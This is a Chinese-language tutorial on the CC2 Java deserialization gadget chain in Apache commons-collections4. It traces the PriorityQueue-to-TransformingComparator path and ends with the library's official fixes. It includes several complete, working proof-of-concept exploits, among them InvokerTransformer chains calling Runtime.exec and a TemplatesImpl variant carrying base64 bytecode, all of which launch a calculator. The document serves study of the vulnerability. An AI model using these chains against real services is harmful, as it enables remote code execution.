Commons Collections 2

2015年底commons-collections反序列化利用链被提出时,Apache Commons Collections有以下两 个分支版本:

commons-collections:commons-collections 
org.apache.commons:commons-collections4

可⻅,groupIdartifactId都变了。前者是Commons Collections老的版本包,当时版本号是3.2.1;后 者是官方在2013年推出的4版本,当时版本号是4.0。那么为什么会分成两个不同的分支呢?
官方认为旧的commons-collections有一些架构和API设计上的问题,但修复这些问题,会产生大量不能 向前兼容的改动。所以,commons-collections4不再认为是一个用来替换commons-collections的新版 本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。

既然这不是一个替换的版本,那我们先来看看老板本的cc链在这里面还能适用吗?

commons-collections4的改动

为了探索这个问题,我们需要先搞清楚一点,老的利用链在commons-collections4中是否仍然能使用? 幸运的是,因为这二者可以共存,所以我可以将两个包安装到同一个项目中进行比较:

<dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
</dependency>

<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
</dependency>

然后尝试用cc6的链子来打一下:
先把包名改改,把import org.apache.commons.collections.*改成import org.apache.commons.collections4.*如下图:

这里有一个报错,因为collections4中的LazyMap里面并没有decorate这个方法,而是改了个名字,改成了lazymap,其它都是一样的,咱换个名字就能用了:Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

cc6

import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception{
        Transformer[] faketransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformer);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.lazyMap(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"c11");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"value");
        outerMap.clear();

        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream =new ObjectInputStream(byteArrayInputStream);
        Object object = (Object)objectInputStream.readObject();

    }
}

同理,用之前的CC1CC3也都可以在Commons-Collections4里正常使用

PriorityQueue利用链

除了那几个老的利用链外,ysoserial还为Commons-Collections4准备了两条新的利用链,也即CC2CC4

commons-collections这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其 中包含了一些可以执行任意方法的Transformer。所以,在commons-collections中Gadget的过 程,实际上可以简化为,找一条从 Serializable#readObject() 方法到 Transformer#transform() 方法的调用链。

cc2

理解了利用链的大概流程后,来接着看cc2

这条新的链子是找到了两个关键的类:

java.util.PriorityQueue

org.apache.commons.collections4.comparators.TransformingComparator

先来看第一个是:java.util.PriorityQueue,这个类中有自己的readObject()方法,所以说可以作为链子的开头:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

而另一个是org.apache.commons.collections4.comparators.TransformingComparator,这个类中有调用transform()方法的函数,也就是可以作为链子的结尾:

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

这条链子就是从PriorityQueue类中的readObject()方法到TransformingComparator类中的compare()方法;接下来我们就来看看它是怎么连接起来的:

PriorityQueue#readObject()方法中调用了heapify()方法,heapify()里调用了siftDown()

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

siftDown()里调用了siftDownUsingComparator()

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

siftDownUsingComparator()里调用了comparator.compare()

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

接着整条链子就通了

siftDownUsingComparator的具体实现(了解)

作为一个知识的扩展,来看看siftDownUsingComparator方法:

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }
  • PriorityQueue是一个优先队列,基于二叉堆实现,队列中的每一个元素都有自己的优先级,每次出队的元素都是优先级最高的元素(元素的大小由comparator来指定,即比较两个元素的大小)
  • 反序列化后之所以要调用heapify()方法,是为了能够保证这个结构的顺序
  • 排序是通过siftDown()函数来将大的元素下移实现的
  • TransformingComparator类实现了java.util.Comparator接⼝,而这个接⼝⽤于定义两个对象如何⽐较;

java.util.PriorityQueue是一个优先队列(Queue),基于二叉堆实现,优先队列每次出队的元素都是优先级最高的元素,那么如何确定哪一个元素的优先级最高呢?jdk中使用堆这种数据结构,通过堆使得每次出队的元素总是队列里面最小的,而元素大小的比较方法则由comparator指定,相当于指定优先级

二叉堆是一种特殊的堆,是完全二叉树或者近似于完全二叉树,二叉堆分为最大堆和最小堆;最大堆:父节点的键值总是大于或等于任何一个子节点的键值,最小堆:父节点的键值总是小于或等于任何一个子节点的键值;而完全二叉树在第n层深度被填满之前,不会开始填第n+1层,而且元素插入是从左往右填满;所以说基于数组实现的二叉堆,对于数组中任意位置的n元素,其左孩子在[2n+1]位置上,右孩子在[2(n+1)]位置,它的父亲则在[(n-1)/2]上,而根的位置则是[0],具体的请见:
https://www.cnblogs.com/linghu-java/p/9467805.html
https://www.jb51.net/article/204483.htm

反序列化之后之所以要调用heapify()方法,是为了反序列化之后恢复顺序,相当于就是排序,而排序是靠将大的元素下移实现的,而将节点下移的函数就是siftDown() ,而comparator.compare()⽤来⽐较两个元素⼤⼩

TransformingComparator类实现了java.util.Comparator接⼝,这个接⼝⽤于定义两个对象如何⽐较;siftDownUsingComparator() 中就使⽤这个接⼝的compare()⽅法⽐较树的节点

大概就是因为这个才导致了漏洞的出现。了解一下就行,这个不是cc链学习的重点


构造poc

接下来就是构造poc

利用链的触发点还是经典的Transformer,和之前的都一样:

Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformer = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(faketransfromer);

然后把这个ChainedTransformer对象放入到创建的TransformingComparator对象里面:

Comparator comparator = new TransformingComparator(transformerChain);

接着实例化 PriorityQueue 对象,第一个参数是初始化时的大小,至少需要2个元素才会触发排序和比较, 所以是2;第二个参数是比较时的Comparator,传入前面实例化的comparator:

Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后面随便add2个数字进去,这里可以传入非null的任意对象,因为我们的Transformer是忽略传入参 数的。
然后将真正的恶意Transformer设置上:

setFieldValue(transformerChain,"iTransformers",transformer);

最后添加上序列化和反序列化就构造完成了:

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.Queue;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;



public class cc2 {
    public static void main(String[] args) throws Exception {
        Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(faketransfromer);
        Comparator comparator = new TransformingComparator(transformerChain);
        Queue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain,transformer);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

运行后我发现弹了两个计算器,调试进去看看,原来在这

这里触发了两次transform,也很简单,因为每次比较都会触发Comparator这个比较器传入参数的transform方法,就会直接触发这条链子。

改造POC

在之前我们用 TemplatesImpl 可以构造出无Transformer数组的利用链,并且可以用来打shiro,我们尝试用同样的方法将这个利用链也改造一下。

首先,还是创建 TemplatesImpl 对象:

    public static void setFieldValue(Object object,String fieldName,Object Value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,Value);
    }

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "c11");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建一个人畜无害的 InvokerTransformer 对象,并用它实例化 Comparator :

Transformer faketransformer = new InvokerTransformer("getClass",null,null);
        
Comparator comparator = new TransformingComparator(faketransformer);

接着实例化PriorityQueue对象,但注意,此时通过add向队列里添加的元素是之前创建的TemplatesImpl对象

原因很简单,和上一篇文章相同,因为我们这里无法再使用Transformer数组,所以也就不能
ConstantTransformer 来初始化变量,需要接受外部传入的变量。而在 Comparator#compare() 时,队列里的元素将作为参数传入 transform() 方法,这就是传给 TemplatesImpl#newTransformer 的参数。这个和打shiro是比较像的

最后一步,将 getClass 方法改成恶意方法 newTransformer :

setFieldValue(transformer,"iMethodName","newTransformer");

完整poc:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class cc2{
    public static void setFieldValue(Object object,String fieldName,Object Value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQ" +
                "EAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW" +
                "50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcH" +
                "Rpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaG" +
                "UveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaX" +
                "plci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAxhbm90aGVyLmphdmEMAA" +
                "4ADwcAHAwAHQAeAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg" +
                "wAHwAgAQAHYW5vdGhlcgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VH" +
                "JhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2" +
                "xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZX" +
                "hlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAw" +
                "AAAAGxAAAAAQAKAAAABgABAAAACQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAA" +
                "QAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADQAEAA4ADQAPAAsAAAAEAAEAEA" +
                "ABABEAAAACABI=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{codes});
        setFieldValue(templates, "_name", "c11");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Transformer faketransformer = new InvokerTransformer("getClass",null,null);
        Comparator comparator = new TransformingComparator(faketransformer);
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);

        setFieldValue(faketransformer,"iMethodName","newTransformer");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);
        objectOutputStream.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object object = (Object)objectInputStream.readObject();
    }
}

运行不了

看报错45行已经终止了。看来人畜无害的方法用之前打shiro用的getClass不行,换成其他不重要的方法就行了,比如最好用的toString

  • 最终poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class cc2{
    public static void setFieldValue(Object object,String fieldName,Object Value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQ" +
                "EAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW" +
                "50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcH" +
                "Rpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaG" +
                "UveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaX" +
                "plci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAxhbm90aGVyLmphdmEMAA" +
                "4ADwcAHAwAHQAeAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg" +
                "wAHwAgAQAHYW5vdGhlcgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VH" +
                "JhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2" +
                "xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZX" +
                "hlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAw" +
                "AAAAGxAAAAAQAKAAAABgABAAAACQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAA" +
                "QAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADQAEAA4ADQAPAAsAAAAEAAEAEA" +
                "ABABEAAAACABI=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{codes});
        setFieldValue(templates, "_name", "c11");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Transformer faketransformer = new InvokerTransformer("toString",null,null);
        Comparator comparator = new TransformingComparator(faketransformer);
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);

        setFieldValue(faketransformer,"iMethodName","newTransformer");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);
        objectOutputStream.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object object = (Object)objectInputStream.readObject();
    }
}

commons-collections反序列化官方修复方法

Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2;先看3.2.2,通过diff可以发现,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会 抛出异常。 这个检查在常⻅的危险Transformer(InstantiateTransformer、InvokerTransformer、PrototypeFactory、CloneTransformer等的 readObject ⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常,终止程序的运行;详情看一下:https://blog.csdn.net/weixin_33724059/article/details/91718540

再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就是说,这样就彻底防止了前面的任何一种反序列化漏洞